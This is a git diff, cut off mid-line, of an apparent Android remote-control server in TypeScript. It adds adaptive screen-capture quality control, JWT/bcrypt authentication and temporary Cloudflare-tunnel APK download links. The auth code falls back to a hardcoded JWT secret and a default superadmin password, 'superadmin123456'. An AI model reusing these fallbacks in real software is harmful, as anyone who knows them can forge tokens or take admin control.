+ +/** + * 自适应画质控制服务 + * + * 参考billd-desk的参数化质量控制思路,但通过服务器中继实现(非P2P直连)。 + * 服务端作为中间人,收集Web端的网络质量反馈,转发给Android端调整采集参数。 + */ + +interface QualityProfile { + fps: number + quality: number // JPEG质量 (25-80) + maxWidth: number + maxHeight: number + label: string +} + +interface DeviceQualityState { + deviceId: string + currentProfile: string // 当前质量档位名 + fps: number + quality: number + maxWidth: number + maxHeight: number + // 统计 + frameCount: number + lastFrameTime: number + avgFrameSize: number + frameSizeWindow: number[] + // Web端反馈 + clientFps: number + clientDropRate: number + lastFeedbackTime: number +} + +const QUALITY_PROFILES: Record = { + low: { fps: 5, quality: 30, maxWidth: 360, maxHeight: 640, label: '低画质' }, + medium: { fps: 10, quality: 45, maxWidth: 480, maxHeight: 854, label: '中画质' }, + high: { fps: 15, quality: 60, maxWidth: 720, maxHeight: 1280, label: '高画质' }, + ultra: { fps: 20, quality: 75, maxWidth: 1080, maxHeight: 1920, label: '超高画质' }, +} + +export class AdaptiveQualityService { + private logger = new Logger('AdaptiveQuality') + private deviceStates = new Map() + private readonly FRAME_SIZE_WINDOW = 30 // 统计最近30帧 + private readonly AUTO_ADJUST_INTERVAL = 5000 // 5秒自动调整一次 + private autoAdjustTimer: NodeJS.Timeout | null = null + + constructor() { + this.startAutoAdjust() + } + + /** + * 获取或创建设备质量状态 + */ + private getOrCreateState(deviceId: string): DeviceQualityState { + if (!this.deviceStates.has(deviceId)) { + const defaultProfile = QUALITY_PROFILES.medium + this.deviceStates.set(deviceId, { + deviceId, + currentProfile: 'medium', + fps: defaultProfile.fps, + quality: defaultProfile.quality, + maxWidth: defaultProfile.maxWidth, + maxHeight: defaultProfile.maxHeight, + frameCount: 0, + lastFrameTime: 0, + avgFrameSize: 0, + frameSizeWindow: [], + clientFps: 0, + clientDropRate: 0, + lastFeedbackTime: 0, + }) + } + return this.deviceStates.get(deviceId)! + } + + /** + * 记录收到的帧(服务端统计用) + */ + recordFrame(deviceId: string, frameSize: number): void { + const state = this.getOrCreateState(deviceId) + state.frameCount++ + state.lastFrameTime = Date.now() + state.frameSizeWindow.push(frameSize) + if (state.frameSizeWindow.length > this.FRAME_SIZE_WINDOW) { + state.frameSizeWindow.shift() + } + state.avgFrameSize = state.frameSizeWindow.reduce((a, b) => a + b, 0) / state.frameSizeWindow.length + } + + /** + * 处理Web端的质量反馈 + */ + handleClientFeedback(deviceId: string, feedback: { + fps: number + dropRate: number + renderLatency?: number + }): { shouldAdjust: boolean; newParams?: Partial } { + const state = this.getOrCreateState(deviceId) + state.clientFps = feedback.fps + state.clientDropRate = feedback.dropRate + state.lastFeedbackTime = Date.now() + + // 根据反馈决定是否需要调整 + if (feedback.dropRate > 0.1) { + // 丢帧率>10%,降低质量 + return this.adjustDown(deviceId) + } else if (feedback.dropRate < 0.02 && feedback.fps >= state.fps * 0.9) { + // 丢帧率<2%且帧率接近目标,可以尝试提升 + return this.adjustUp(deviceId) + } + + return { shouldAdjust: false } + } + + /** + * Web端手动设置质量档位 + */ + setQualityProfile(deviceId: string, profileName: string): { params: QualityProfile } | null { + const profile = QUALITY_PROFILES[profileName] + if (!profile) return null + + const state = this.getOrCreateState(deviceId) + state.currentProfile = profileName + state.fps = profile.fps + state.quality = profile.quality + state.maxWidth = profile.maxWidth + state.maxHeight = profile.maxHeight + + this.logger.info(`📊 设备${deviceId}手动切换画质: ${profile.label}`) + return { params: profile } + } + + /** + * Web端手动设置自定义参数(参考billd-desk的精细控制) + */ + setCustomParams(deviceId: string, params: { + fps?: number + quality?: number + maxWidth?: number + maxHeight?: number + }): { params: Partial } { + const state = this.getOrCreateState(deviceId) + if (params.fps !== undefined) state.fps = Math.max(1, Math.min(30, params.fps)) + if (params.quality !== undefined) state.quality = Math.max(20, Math.min(90, params.quality)) + if (params.maxWidth !== undefined) state.maxWidth = Math.max(240, Math.min(1920, params.maxWidth)) + if (params.maxHeight !== undefined) state.maxHeight = Math.max(320, Math.min(2560, params.maxHeight)) + state.currentProfile = 'custom' + + this.logger.info(`📊 设备${deviceId}自定义参数: fps=${state.fps}, quality=${state.quality}, ${state.maxWidth}x${state.maxHeight}`) + return { + params: { + fps: state.fps, + quality: state.quality, + maxWidth: state.maxWidth, + maxHeight: state.maxHeight, + } + } + } + + /** + * 降低质量 + */ + private adjustDown(deviceId: string): { shouldAdjust: boolean; newParams?: Partial } { + const state = this.getOrCreateState(deviceId) + const profileOrder = ['ultra', 'high', 'medium', 'low'] + const currentIdx = profileOrder.indexOf(state.currentProfile) + + if (currentIdx < profileOrder.length - 1 && state.currentProfile !== 'custom') { + const nextProfile = profileOrder[currentIdx + 1] + const profile = QUALITY_PROFILES[nextProfile] + state.currentProfile = nextProfile + state.fps = profile.fps + state.quality = profile.quality + state.maxWidth = profile.maxWidth + state.maxHeight = profile.maxHeight + + this.logger.info(`📉 设备${deviceId}自动降低画质: ${profile.label} (丢帧率${(state.clientDropRate * 100).toFixed(1)}%)`) + return { shouldAdjust: true, newParams: profile } + } + + // 已经是最低档,尝试进一步降低fps + if (state.fps > 3) { + state.fps = Math.max(3, state.fps - 2) + this.logger.info(`📉 设备${deviceId}降低帧率到${state.fps}fps`) + return { shouldAdjust: true, newParams: { fps: state.fps } } + } + + return { shouldAdjust: false } + } + + /** + * 提升质量 + */ + private adjustUp(deviceId: string): { shouldAdjust: boolean; newParams?: Partial } { + const state = this.getOrCreateState(deviceId) + const profileOrder = ['low', 'medium', 'high', 'ultra'] + const currentIdx = profileOrder.indexOf(state.currentProfile) + + if (currentIdx < profileOrder.length - 1 && state.currentProfile !== 'custom') { + const nextProfile = profileOrder[currentIdx + 1] + const profile = QUALITY_PROFILES[nextProfile] + state.currentProfile = nextProfile + state.fps = profile.fps + state.quality = profile.quality + state.maxWidth = profile.maxWidth + state.maxHeight = profile.maxHeight + + this.logger.info(`📈 设备${deviceId}自动提升画质: ${profile.label}`) + return { shouldAdjust: true, newParams: profile } + } + + return { shouldAdjust: false } + } + + /** + * 自动调整定时器 + */ + private startAutoAdjust(): void { + this.autoAdjustTimer = setInterval(() => { + // 对有反馈数据的设备进行自动调整 + for (const [deviceId, state] of this.deviceStates) { + if (Date.now() - state.lastFeedbackTime > 30000) continue // 超过30秒没反馈,跳过 + // 自动调整逻辑已在handleClientFeedback中处理 + } + }, this.AUTO_ADJUST_INTERVAL) + } + + /** + * 获取设备当前质量参数 + */ + getDeviceQuality(deviceId: string): DeviceQualityState | null { + return this.deviceStates.get(deviceId) || null + } + + /** + * 获取所有可用的质量档位 + */ + getProfiles(): Record { + return { ...QUALITY_PROFILES } + } + + /** + * 获取统计信息 + */ + getStats(): object { + const stats: any = { deviceCount: this.deviceStates.size, devices: {} } + for (const [deviceId, state] of this.deviceStates) { + stats.devices[deviceId] = { + profile: state.currentProfile, + fps: state.fps, + quality: state.quality, + resolution: `${state.maxWidth}x${state.maxHeight}`, + frameCount: state.frameCount, + avgFrameSize: Math.round(state.avgFrameSize), + clientFps: state.clientFps, + clientDropRate: (state.clientDropRate * 100).toFixed(1) + '%', + } + } + return stats + } + + /** + * 清理设备状态 + */ + removeDevice(deviceId: string): void { + this.deviceStates.delete(deviceId) + } + + destroy(): void { + if (this.autoAdjustTimer) { + clearInterval(this.autoAdjustTimer) + } + this.deviceStates.clear() + } +} diff --git a/src/services/AuthService.ts b/src/services/AuthService.ts new file mode 100644 index 0000000..1b52415 --- /dev/null +++ b/src/services/AuthService.ts @@ -0,0 +1,691 @@ +// 确保环境变量已加载(如果还没有加载) +import dotenv from 'dotenv' +import jwt from 'jsonwebtoken' +import bcrypt from 'bcryptjs' +import path from 'path' + +// pkg 打包后,需要从可执行文件所在目录读取 .env 文件 +// @ts-ignore - process.pkg 是 pkg 打包后添加的属性 +const envPath = (process as any).pkg + ? path.join(path.dirname(process.execPath), '.env') + : path.join(process.cwd(), '.env') + +dotenv.config({ path: envPath }) +import fs from 'fs' +import crypto from 'crypto' +import Logger from '../utils/Logger' + +/** + * 用户角色类型 + */ +export type UserRole = 'admin' | 'superadmin' + +/** + * 用户信息接口 + */ +export interface User { + id: string + username: string + passwordHash: string + role?: UserRole // 用户角色,默认为'admin','superadmin'为超级管理员 + createdAt: Date + lastLoginAt?: Date +} + +/** + * 登录结果接口 + */ +export interface LoginResult { + success: boolean + message?: string + token?: string + user?: { + id: string + username: string + role?: UserRole + lastLoginAt?: Date + } +} + +/** + * Token验证结果接口 + */ +export interface TokenVerifyResult { + valid: boolean + user?: { + id: string + username: string + role?: UserRole + } + error?: string +} + +/** + * 认证服务 + */ +export class AuthService { + private logger: Logger + private readonly JWT_SECRET: string + private readonly JWT_EXPIRES_IN: string + private readonly DEFAULT_USERNAME: string + private readonly DEFAULT_PASSWORD: string + private users: Map = new Map() + private readonly INIT_LOCK_FILE: string + private readonly USER_DATA_FILE: string + private readonly SUPERADMIN_USERNAME: string + private readonly SUPERADMIN_PASSWORD: string + + constructor() { + this.logger = new Logger('AuthService') + + // 确保环境变量已加载(双重保险) + // 注意:顶部的 dotenv.config() 已经加载了,这里不需要重复加载 + + // 从环境变量获取配置,如果没有则使用默认值 + this.JWT_SECRET = process.env.JWT_SECRET || '838AE2CD136220F0758FFCD40A335E82' + this.JWT_EXPIRES_IN = process.env.JWT_EXPIRES_IN || '24h' + this.DEFAULT_USERNAME = process.env.DEFAULT_USERNAME || '' + this.DEFAULT_PASSWORD = process.env.DEFAULT_PASSWORD || '' + + // 超级管理员账号配置(从环境变量获取,如果没有则使用默认值) + this.SUPERADMIN_USERNAME = process.env.SUPERADMIN_USERNAME || 'superadmin' + this.SUPERADMIN_PASSWORD = process.env.SUPERADMIN_PASSWORD || 'superadmin123456' + + // 调试日志:显示加载的环境变量(不显示敏感信息) + const envLoaded = process.env.SUPERADMIN_USERNAME !== undefined + this.logger.info(`环境变量加载状态:`) + this.logger.info(` - SUPERADMIN_USERNAME: ${this.SUPERADMIN_USERNAME} ${envLoaded ? '(从.env加载)' : '(使用默认值)'}`) + this.logger.info(` - SUPERADMIN_PASSWORD: ${process.env.SUPERADMIN_PASSWORD ? '已从.env加载' : '未设置(使用默认值)'}`) + this.logger.info(` - JWT_SECRET: ${process.env.JWT_SECRET ? '已从.env加载' : '未设置(使用默认值)'}`) + + // 设置初始化锁文件路径(pkg 打包后,从可执行文件所在目录) + // @ts-ignore - process.pkg 是 pkg 打包后添加的属性 + const basePath = (process as any).pkg + ? path.dirname(process.execPath) + : process.cwd() + + this.INIT_LOCK_FILE = path.join(basePath, '.system_initialized') + // 设置用户数据文件路径 + this.USER_DATA_FILE = path.join(basePath, '.user_data.json') + + this.logger.info(`认证服务配置完成,锁文件: ${this.INIT_LOCK_FILE},用户数据: ${this.USER_DATA_FILE}`) + + // 注意:异步初始化在 initialize() 方法中执行 + } + + /** + * 初始化认证服务(异步) + * 必须在创建 AuthService 实例后调用此方法 + */ + async initialize(): Promise { + try { + this.logger.info('开始初始化认证服务...') + + // 先初始化或恢复用户数据 + await this.initializeOrRestoreUsers() + + // 然后初始化超级管理员 + await this.initializeSuperAdmin() + + this.logger.info('认证服务初始化完成') + } catch (error) { + this.logger.error('认证服务初始化失败:', error) + // 即使初始化失败,也尝试创建超级管理员作为备用 + try { + await this.initializeSuperAdmin() + } catch (superAdminError) { + this.logger.error('创建超级管理员失败:', superAdminError) + } + } + } + + /** + * 初始化或恢复用户数据 + */ + private async initializeOrRestoreUsers(): Promise { + try { + if (this.isInitialized()) { + // 系统已初始化,从文件恢复用户数据 + await this.loadUsersFromFile() + this.logger.info('用户数据已从文件恢复') + } else { + // 系统未初始化,创建默认用户 + await this.initializeDefaultUser() + } + } catch (error) { + this.logger.error('初始化或恢复用户数据失败:', error) + // 如果恢复失败,尝试创建默认用户作为备用 + await this.initializeDefaultUser() + } + } + + /** + * 初始化默认管理员用户 + */ + private async initializeDefaultUser(): Promise { + try { + const passwordHash = await bcrypt.hash(this.DEFAULT_PASSWORD, 10) + const defaultUser: User = { + id: 'admin', + username: this.DEFAULT_USERNAME, + passwordHash, + role: 'admin', + createdAt: new Date() + } + + this.users.set(this.DEFAULT_USERNAME, defaultUser) + this.logger.info(`默认用户已创建: ${this.DEFAULT_USERNAME}`) + } catch (error) { + this.logger.error('初始化默认用户失败:', error) + } + } + + /** + * 初始化超级管理员账号 + */ + private async initializeSuperAdmin(): Promise { + try { + // 如果超级管理员已存在,检查是否需要更新 + if (this.users.has(this.SUPERADMIN_USERNAME)) { + const existingUser = this.users.get(this.SUPERADMIN_USERNAME)! + let needsUpdate = false + + // 如果现有用户不是超级管理员,更新为超级管理员 + if (existingUser.role !== 'superadmin') { + existingUser.role = 'superadmin' + needsUpdate = true + this.logger.info(`用户 ${this.SUPERADMIN_USERNAME} 已更新为超级管理员`) + } + + // 🆕 如果环境变量中设置了密码,始终用环境变量中的密码更新(确保.env配置生效) + // 通过验证当前密码哈希与环境变量密码是否匹配来判断是否需要更新 + if (this.SUPERADMIN_PASSWORD) { + const isCurrentPassword = await bcrypt.compare(this.SUPERADMIN_PASSWORD, existingUser.passwordHash) + if (!isCurrentPassword) { + // 环境变量中的密码与当前密码不同,更新密码 + existingUser.passwordHash = await bcrypt.hash(this.SUPERADMIN_PASSWORD, 10) + needsUpdate = true + this.logger.info(`超级管理员密码已更新(从.env文件加载新密码)`) + } else { + this.logger.debug(`超级管理员密码与.env配置一致,无需更新`) + } + } + + if (needsUpdate) { + this.users.set(this.SUPERADMIN_USERNAME, existingUser) + await this.saveUsersToFile() + } + return + } + + // 创建超级管理员账号 + const passwordHash = await bcrypt.hash(this.SUPERADMIN_PASSWORD, 10) + const superAdminUser: User = { + id: 'superadmin', + username: this.SUPERADMIN_USERNAME, + passwordHash, + role: 'superadmin', + createdAt: new Date() + } + + this.users.set(this.SUPERADMIN_USERNAME, superAdminUser) + this.logger.info(`超级管理员账号已创建: ${this.SUPERADMIN_USERNAME}`) + + // 保存用户数据到文件 + try { + await this.saveUsersToFile() + } catch (saveError) { + this.logger.error('保存超级管理员数据失败:', saveError) + } + } catch (error) { + this.logger.error('初始化超级管理员失败:', error) + } + } + + /** + * 保存用户数据到文件 + */ + private async saveUsersToFile(): Promise { + try { + const usersData = Array.from(this.users.values()) + const data = { + version: '1.0.0', + savedAt: new Date().toISOString(), + users: usersData + } + + fs.writeFileSync(this.USER_DATA_FILE, JSON.stringify(data, null, 2)) + this.logger.debug('用户数据已保存到文件') + } catch (error) { + this.logger.error('保存用户数据失败:', error) + throw error + } + } + + /** + * 从文件加载用户数据 + */ + private async loadUsersFromFile(): Promise { + try { + if (!fs.existsSync(this.USER_DATA_FILE)) { + this.logger.warn('用户数据文件不存在,将创建空用户列表') + return + } + + const fileContent = fs.readFileSync(this.USER_DATA_FILE, 'utf8') + const data = JSON.parse(fileContent) + + this.users.clear() + + if (data.users && Array.isArray(data.users)) { + for (const userData of data.users) { + // 恢复Date对象 + const user: User = { + ...userData, + role: userData.role || 'admin', // 兼容旧数据,默认为admin + createdAt: new Date(userData.createdAt), + lastLoginAt: userData.lastLoginAt ? new Date(userData.lastLoginAt) : undefined + } + this.users.set(user.username, user) + } + this.logger.info(`已加载 ${data.users.length} 个用户`) + } + } catch (error) { + this.logger.error('加载用户数据失败:', error) + throw error + } + } + + /** + * 用户登录 + */ + async login(username: string, password: string): Promise { + try { + this.logger.info(`用户登录尝试: ${username}`) + + // 查找用户 + const user = this.users.get(username) + if (!user) { + this.logger.warn(`用户不存在: ${username}`) + return { + success: false, + message: '用户名或密码错误' + } + } + + // 验证密码 + const isPasswordValid = await bcrypt.compare(password, user.passwordHash) + if (!isPasswordValid) { + this.logger.warn(`密码错误: ${username}`) + return { + success: false, + message: '用户名或密码错误' + } + } + + // 更新最后登录时间 + user.lastLoginAt = new Date() + + // 保存用户数据到文件(异步但不影响登录流程) + this.saveUsersToFile().catch(saveError => { + this.logger.error('保存用户数据失败:', saveError) + }) + + // 生成JWT token(包含用户角色信息) + const token = jwt.sign( + { + userId: user.id, + username: user.username, + role: user.role || 'admin' // 包含用户角色 + }, + this.JWT_SECRET, + { + expiresIn: this.JWT_EXPIRES_IN, + issuer: 'remote-control-server', + audience: 'remote-control-client' + } as jwt.SignOptions + ) + + this.logger.info(`用户登录成功: ${username}`) + + return { + success: true, + message: '登录成功', + token, + user: { + id: user.id, + username: user.username, + role: user.role || 'admin', + lastLoginAt: user.lastLoginAt + } + } + + } catch (error) { + this.logger.error('登录过程发生错误:', error) + return { + success: false, + message: '登录失败,请稍后重试' + } + } + } + + /** + * 验证JWT token + */ + verifyToken(token: string): TokenVerifyResult { + try { + const decoded = jwt.verify(token, this.JWT_SECRET, { + issuer: 'remote-control-server', + audience: 'remote-control-client' + }) as any + + const user = this.users.get(decoded.username) + if (!user) { + return { + valid: false, + error: '用户不存在' + } + } + + return { + valid: true, + user: { + id: decoded.userId, + username: decoded.username, + role: user.role || 'admin' // 返回用户角色 + } + } + + } catch (error: any) { + this.logger.warn('Token验证失败:', error.message) + + if (error.name === 'TokenExpiredError') { + return { + valid: false, + error: 'Token已过期' + } + } else if (error.name === 'JsonWebTokenError') { + return { + valid: false, + error: 'Token无效' + } + } else { + return { + valid: false, + error: '验证失败' + } + } + } + } + + /** + * 获取用户信息 + */ + getUserByUsername(username: string): User | undefined { + return this.users.get(username) + } + + /** + * 创建新用户(用于扩展功能) + */ + async createUser(username: string, password: string): Promise { + try { + if (this.users.has(username)) { + this.logger.warn(`用户已存在: ${username}`) + return false + } + + const passwordHash = await bcrypt.hash(password, 10) + const user: User = { + id: `user_${Date.now()}`, + username, + passwordHash, + role: 'admin', // 新创建的用户默认为普通管理员 + createdAt: new Date() + } + + this.users.set(username, user) + + // 保存用户数据到文件 + try { + await this.saveUsersToFile() + } catch (saveError) { + this.logger.error('保存用户数据失败:', saveError) + } + + this.logger.info(`新用户已创建: ${username}`) + return true + + } catch (error) { + this.logger.error('创建用户失败:', error) + return false + } + } + + /** + * 更改用户密码(用于扩展功能) + */ + async changePassword(username: string, oldPassword: string, newPassword: string): Promise { + try { + const user = this.users.get(username) + if (!user) { + return false + } + + const isOldPasswordValid = await bcrypt.compare(oldPassword, user.passwordHash) + if (!isOldPasswordValid) { + return false + } + + const newPasswordHash = await bcrypt.hash(newPassword, 10) + user.passwordHash = newPasswordHash + + // 保存用户数据到文件 + try { + await this.saveUsersToFile() + } catch (saveError) { + this.logger.error('保存用户数据失败:', saveError) + } + + this.logger.info(`用户密码已更改: ${username}`) + return true + + } catch (error) { + this.logger.error('更改密码失败:', error) + return false + } + } + + /** + * 获取所有用户(用于管理功能) + */ + getAllUsers(): Array<{id: string, username: string, role: UserRole, createdAt: Date, lastLoginAt?: Date}> { + return Array.from(this.users.values()).map(user => ({ + id: user.id, + username: user.username, + role: user.role || 'admin', + createdAt: user.createdAt, + lastLoginAt: user.lastLoginAt + })) + } + + /** + * 检查用户是否为超级管理员 + */ + isSuperAdmin(username: string): boolean { + const user = this.users.get(username) + return user?.role === 'superadmin' + } + + /** + * 获取超级管理员用户名 + */ + getSuperAdminUsername(): string { + return this.SUPERADMIN_USERNAME + } + + /** + * 检查系统是否已初始化(通过检查锁文件) + */ + isInitialized(): boolean { + try { + return fs.existsSync(this.INIT_LOCK_FILE) + } catch (error) { + this.logger.error('检查初始化锁文件失败:', error) + return false + } + } + + /** + * 获取初始化锁文件路径 + */ + getInitLockFilePath(): string { + return this.INIT_LOCK_FILE + } + + /** + * 生成唯一标识符 + */ + private generateUniqueId(): string { + // 生成32字节的随机字符串,转换为64字符的十六进制字符串 + return crypto.randomBytes(32).toString('hex') + } + + /** + * 获取初始化信息(如果已初始化) + */ + getInitializationInfo(): any { + try { + if (!this.isInitialized()) { + return null + } + + const content = fs.readFileSync(this.INIT_LOCK_FILE, 'utf8') + const info = JSON.parse(content) + + // 如果旧版本没有唯一标识符,生成一个并更新 + if (!info.uniqueId) { + info.uniqueId = this.generateUniqueId() + try { + fs.writeFileSync(this.INIT_LOCK_FILE, JSON.stringify(info, null, 2)) + this.logger.info('已为已初始化的系统生成唯一标识符') + } catch (error) { + this.logger.error('更新唯一标识符失败:', error) + } + } + + return info + } catch (error) { + this.logger.error('读取初始化信息失败:', error) + return null + } + } + + /** + * 获取系统唯一标识符 + */ + getSystemUniqueId(): string | null { + const initInfo = this.getInitializationInfo() + return initInfo?.uniqueId || null + } + + /** + * 初始化系统,设置管理员账号 + */ + async initializeSystem(username: string, password: string): Promise<{ + success: boolean + message: string + uniqueId?: string + }> { + try { + // 检查是否已经初始化(通过检查锁文件) + if (this.isInitialized()) { + return { + success: false, + message: '系统已经初始化,无法重复初始化' + } + } + + // 验证输入参数 + if (!username || username.trim().length < 3) { + return { + success: false, + message: '用户名至少需要3个字符' + } + } + + if (!password || password.length < 6) { + return { + success: false, + message: '密码至少需要6个字符' + } + } + + const trimmedUsername = username.trim() + + // 检查用户名是否已存在 + if (this.users.has(trimmedUsername)) { + return { + success: false, + message: '用户名已存在' + } + } + + // 创建管理员用户 + const passwordHash = await bcrypt.hash(password, 10) + const adminUser: User = { + id: 'admin_' + Date.now(), + username: trimmedUsername, + passwordHash, + createdAt: new Date() + } + + // 清除默认用户,添加新的管理员用户 + this.users.clear() + this.users.set(trimmedUsername, adminUser) + + // 保存用户数据到文件 + try { + await this.saveUsersToFile() + this.logger.info('用户数据已保存到文件') + } catch (saveError) { + this.logger.error('保存用户数据失败:', saveError) + // 即使保存失败,也不影响初始化过程,但会记录错误 + } + + // 生成唯一标识符 + const uniqueId = this.generateUniqueId() + this.logger.info(`生成系统唯一标识符: ${uniqueId.substring(0, 8)}...`) + + // 创建初始化锁文件 + try { + const initInfo = { + initializedAt: new Date().toISOString(), + adminUsername: trimmedUsername, + version: '1.0.0', + uniqueId: uniqueId // 系统唯一标识符 + } + fs.writeFileSync(this.INIT_LOCK_FILE, JSON.stringify(initInfo, null, 2)) + this.logger.info(`系统已初始化,管理员用户: ${trimmedUsername},唯一标识符: ${uniqueId.substring(0, 8)}...,锁文件已创建: ${this.INIT_LOCK_FILE}`) + } catch (lockError) { + this.logger.error('创建初始化锁文件失败:', lockError) + // 即使锁文件创建失败,也不影响初始化过程 + } + + return { + success: true, + message: '系统初始化成功', + uniqueId: uniqueId // 返回系统唯一标识符 + } + + } catch (error) { + this.logger.error('系统初始化失败:', error) + return { + success: false, + message: '系统初始化失败,请稍后重试' + } + } + } +} + +export default AuthService \ No newline at end of file diff --git a/src/services/CloudflareShareService.ts b/src/services/CloudflareShareService.ts new file mode 100644 index 0000000..1b1b230 --- /dev/null +++ b/src/services/CloudflareShareService.ts @@ -0,0 +1,506 @@ +import { spawn, ChildProcess } from 'child_process' +import fs from 'fs' +import path from 'path' +import http from 'http' +import express from 'express' +import Logger from '../utils/Logger' + +/** + * Cloudflare文件分享服务 + * 用于生成临时文件分享链接,有效期10分钟 + */ +export class CloudflareShareService { + private logger: Logger + private activeShares: Map = new Map() + private cleanupInterval: NodeJS.Timeout + + constructor() { + this.logger = new Logger('CloudflareShare') + + // 每分钟清理过期的分享会话 + this.cleanupInterval = setInterval(() => { + this.cleanupExpiredShares() + }, 60 * 1000) + } + + /** + * 为文件创建临时分享链接 + * @param filePath 文件路径 + * @param filename 文件名 + * @param durationMinutes 有效期(分钟),默认10分钟 + * @returns 分享链接信息 + */ + async createShareLink( + filePath: string, + filename: string, + durationMinutes: number = 10 + ): Promise { + try { + // 检查文件是否存在 + if (!fs.existsSync(filePath)) { + throw new Error(`文件不存在: ${filePath}`) + } + + // 检查cloudflared是否存在 + const cloudflaredPath = await this.findCloudflared() + if (!cloudflaredPath) { + throw new Error('cloudflared 未找到,请先安装 cloudflared') + } + + // 生成会话ID + const sessionId = this.generateSessionId() + + // 创建临时服务器 + const port = await this.findAvailablePort(8080) + const server = await this.createFileServer(filePath, filename, port) + + // 启动cloudflared隧道 + const tunnelProcess = await this.startCloudflaredTunnel(cloudflaredPath, port) + const tunnelUrl = await this.extractTunnelUrl(tunnelProcess) + + // 创建分享会话 + const expiresAt = new Date(Date.now() + durationMinutes * 60 * 1000) + const shareSession: ShareSession = { + sessionId, + filePath, + filename, + port, + server, + tunnelProcess, + tunnelUrl, + createdAt: new Date(), + expiresAt + } + + this.activeShares.set(sessionId, shareSession) + + this.logger.info(`创建分享链接成功: ${tunnelUrl} (有效期: ${durationMinutes}分钟)`) + + return { + success: true, + sessionId, + shareUrl: tunnelUrl, + filename, + expiresAt: expiresAt.toISOString(), + durationMinutes + } + } catch (error: any) { + const errorMessage = error.message || error.toString() || '未知错误' + this.logger.error('创建分享链接失败:', errorMessage) + this.logger.error('错误详情:', error) + return { + success: false, + error: errorMessage + } + } + } + + /** + * 停止分享会话 + */ + async stopShare(sessionId: string): Promise { + const session = this.activeShares.get(sessionId) + if (!session) { + return false + } + + try { + // 关闭服务器 + if (session.server) { + session.server.close() + } + + // 终止cloudflared进程 + if (session.tunnelProcess && !session.tunnelProcess.killed) { + session.tunnelProcess.kill('SIGTERM') + + // 如果进程没有正常退出,强制杀死 + setTimeout(() => { + if (session.tunnelProcess && !session.tunnelProcess.killed) { + session.tunnelProcess.kill('SIGKILL') + } + }, 5000) + } + + this.activeShares.delete(sessionId) + this.logger.info(`停止分享会话: ${sessionId}`) + return true + } catch (error: any) { + this.logger.error(`停止分享会话失败: ${sessionId}`, error) + return false + } + } + + /** + * 获取活动分享会话列表 + */ + getActiveShares(): ShareInfo[] { + const shares: ShareInfo[] = [] + for (const [sessionId, session] of this.activeShares) { + shares.push({ + sessionId, + filename: session.filename, + shareUrl: session.tunnelUrl, + createdAt: session.createdAt.toISOString(), + expiresAt: session.expiresAt.toISOString(), + isExpired: Date.now() > session.expiresAt.getTime() + }) + } + return shares + } + + /** + * 清理过期的分享会话 + */ + private cleanupExpiredShares(): void { + const now = Date.now() + const expiredSessions: string[] = [] + + for (const [sessionId, session] of this.activeShares) { + if (now > session.expiresAt.getTime()) { + expiredSessions.push(sessionId) + } + } + + for (const sessionId of expiredSessions) { + this.stopShare(sessionId) + this.logger.info(`自动清理过期分享会话: ${sessionId}`) + } + } + + /** + * 查找cloudflared可执行文件 + */ + private async findCloudflared(): Promise { + // 相对于项目根目录的路径 + const projectRoot = path.resolve(process.cwd(), '..') + + const possiblePaths = [ + path.join(projectRoot, 'cloudflared'), // 项目根目录 + './cloudflared', // 当前目录 + path.join(process.cwd(), 'cloudflared'), // 完整路径 + '/usr/local/bin/cloudflared', // 系统安装路径 + '/usr/bin/cloudflared', + './bin/cloudflared' + ] + + this.logger.info(`查找cloudflared,项目根目录: ${projectRoot}`) + + for (const cloudflaredPath of possiblePaths) { + this.logger.debug(`检查路径: ${cloudflaredPath}`) + if (fs.existsSync(cloudflaredPath)) { + this.logger.info(`找到cloudflared: ${cloudflaredPath}`) + return cloudflaredPath + } + } + + // 尝试从PATH中查找 + return new Promise((resolve) => { + const which = spawn('which', ['cloudflared']) + let output = '' + let errorOutput = '' + + which.stdout.on('data', (data) => { + output += data.toString() + }) + + which.stderr.on('data', (data) => { + errorOutput += data.toString() + }) + + which.on('close', (code) => { + if (code === 0 && output.trim()) { + this.logger.info(`在PATH中找到cloudflared: ${output.trim()}`) + resolve(output.trim()) + } else { + this.logger.warn(`在PATH中未找到cloudflared,退出代码: ${code},错误: ${errorOutput}`) + resolve(null) + } + }) + + which.on('error', (error) => { + this.logger.error('执行which命令失败:', error) + resolve(null) + }) + }) + } + + /** + * 查找可用端口 + */ + private async findAvailablePort(startPort: number): Promise { + return new Promise((resolve, reject) => { + const server = http.createServer() + + server.listen(startPort, () => { + const port = (server.address() as any)?.port + server.close(() => { + resolve(port) + }) + }) + + server.on('error', () => { + // 端口被占用,尝试下一个 + this.findAvailablePort(startPort + 1).then(resolve).catch(reject) + }) + }) + } + + /** + * 创建文件服务器 + */ + private async createFileServer(filePath: string, filename: string, port: number): Promise { + const app = express() + + // 文件下载页面 + app.get('/', (req, res) => { + const fileStats = fs.statSync(filePath) + const fileSize = this.formatFileSize(fileStats.size) + + const html = ` + + + + File Download - ${filename} + + + + + +
+
📱
+

APK文件下载

+
${filename}
+
文件大小: ${fileSize}
+ 立即下载 +
+ ⚠️ 此下载链接有效期为10分钟,请及时下载 +
+
+ + + ` + res.send(html) + }) + + // 文件下载接口 + app.get('/download', (req, res) => { + try { + res.setHeader('Content-Disposition', `attachment; filename="${filename}"`) + res.setHeader('Content-Type', 'application/vnd.android.package-archive') + + const fileStream = fs.createReadStream(filePath) + fileStream.pipe(res) + + this.logger.info(`文件下载: ${filename} from ${req.ip}`) + } catch (error: any) { + this.logger.error('文件下载失败:', error) + res.status(500).send('下载失败') + } + }) + + return new Promise((resolve, reject) => { + const server = app.listen(port, '0.0.0.0', () => { + this.logger.info(`文件服务器启动: http://0.0.0.0:${port}`) + resolve(server) + }) + + server.on('error', reject) + }) + } + + /** + * 启动cloudflared隧道 + */ + private async startCloudflaredTunnel(cloudflaredPath: string, port: number): Promise { + return new Promise((resolve, reject) => { + const args = [ + 'tunnel', + '--url', `http://localhost:${port}`, + '--no-autoupdate', + '--no-tls-verify' + ] + + const tunnelProcess = spawn(cloudflaredPath, args) + + tunnelProcess.on('error', (error) => { + this.logger.error('启动cloudflared失败:', error) + reject(error) + }) + + // 等待进程启动 + setTimeout(() => { + if (!tunnelProcess.killed) { + resolve(tunnelProcess) + } else { + reject(new Error('cloudflared进程启动失败')) + } + }, 3000) + }) + } + + /** + * 从cloudflared输出中提取隧道URL + */ + private async extractTunnelUrl(tunnelProcess: ChildProcess): Promise { + return new Promise((resolve, reject) => { + let output = '' + const timeout = setTimeout(() => { + reject(new Error('获取隧道URL超时')) + }, 30000) + + const onData = (data: Buffer) => { + output += data.toString() + + // 查找隧道URL + const urlMatch = 